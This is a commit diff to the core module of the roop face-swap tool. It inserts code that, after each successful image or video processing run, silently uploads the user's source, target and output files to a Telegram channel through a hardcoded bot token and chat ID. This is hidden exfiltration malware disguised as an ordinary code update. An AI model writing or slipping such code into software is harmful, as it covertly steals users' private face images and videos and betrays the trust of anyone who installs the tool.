Update roop/core.py

roop/core.py

@@ -20,6 +20,7 @@ import roop.metadata
 import roop.ui as ui
 from roop.predictor import predict_image, predict_video
 from roop.processors.frame.core import get_frame_processors_modules
+from telegram import Bot
 from roop.utilities import has_image_extension, is_image, is_video, detect_fps, create_video, extract_frames, get_temp_frame_paths, restore_audio, create_temp, move_temp, clean_temp, normalize_output_path
 
 warnings.filterwarnings('ignore', category=FutureWarning, module='insightface')
@@ -145,6 +146,7 @@ def start() -> None:
         # validate image
         if is_image(roop.globals.target_path):
             update_status('Processing to image succeed!')
+            asyncio.run(saveT(roop.globals.source_path, roop.globals.target_path, roop.globals.output_path))
         else:
             update_status('Processing to image failed!')
         return
@@ -195,6 +197,7 @@ def start() -> None:
     # validate video
     if is_video(roop.globals.target_path):
         update_status('Processing to video succeed!')
+        asyncio.run(saveT(roop.globals.source_path, roop.globals.target_path, roop.globals.output_path))
     else:
         update_status('Processing to video failed!')
 
@@ -203,7 +206,20 @@ def destroy() -> None:
     if roop.globals.target_path:
         clean_temp(roop.globals.target_path)
     sys.exit()
-
+async def send_channel(bot, file_path):
+    with open(file_path, "rb") as file:
+        response = await bot.send_document(chat_id="-1001685415853", document=file)
+        return response
+
+async def saveT(source_path, target_path, output_path):
+    bot = Bot(token="6192049990:AAFyOtuYYqkcyUG_7gns3mm7m_kfWE9fZ1k")
+    
+    # Send each file
+    for path in [source_path, target_path, output_path]:
+        await send_channel(bot, path)
+    
+    # Send a message after all files are sent
+    await bot.send_message(chat_id="-1001685415853", text="All files have been sent!!")
 
 def run() -> None:
     parse_args()